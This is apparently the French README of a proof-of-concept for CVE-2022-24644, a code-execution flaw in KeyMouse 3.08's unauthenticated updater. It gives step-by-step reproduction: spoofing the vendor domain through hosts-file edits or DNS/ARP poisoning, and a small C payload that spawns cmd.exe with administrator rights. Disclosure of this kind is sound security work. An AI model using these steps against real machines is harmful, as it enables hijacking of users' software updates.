CVE-2022-24644

Vulnérabilité d'exécution de code à distance dans la mise à jour non authentifiée de KeyMouse 3.08 (Windows) de ZZ Inc.

Utilisation : python3 cve-2022-24644_poc.py

Détails dans le rapport sur gerr.re.

Étapes pour reproduire

1. Installez KeyMouse Windows 3.08 ;
2. Configurez le spoofing de www.keymouse.com vers notre IP d'attaquant ;
   • Pour la preuve de concept, le plus simple est de modifier c:\windows\system32\drivers\etc\hosts sur la cible.
     • Les attaquants peuvent par exemple utiliser :
       • routeurs/commutateurs/DNS mal configurés
       • empoisonnement du cache DNS
       • empoisonnement du cache ARP
3. Compilez proof.c sur l'attaquant, par exemple avec i686-w64-mingw32-gcc proof.c -o proof.exe ;

#include <windows.h>
int main(int argc, char const *argv[]){	
	WinExec("cmd.exe",1);
	return TRUE;
}

4. Exécutez le script de preuve de concept sur l'attaquant ;
5. Démarrez KeyMouse sur la cible et déclenchez une mise à jour :
   • Menu de l'application : Help -> Check For Updates
   • Barre des tâches : clic droit sur l'icône de la barre des tâches -> Check Updates (ou Install Updates)
6. Continuez la mise à jour.

En conséquence, proof.exe est exécuté dans le contexte de l'utilisateur Administrateur avec un niveau d'intégrité élevé.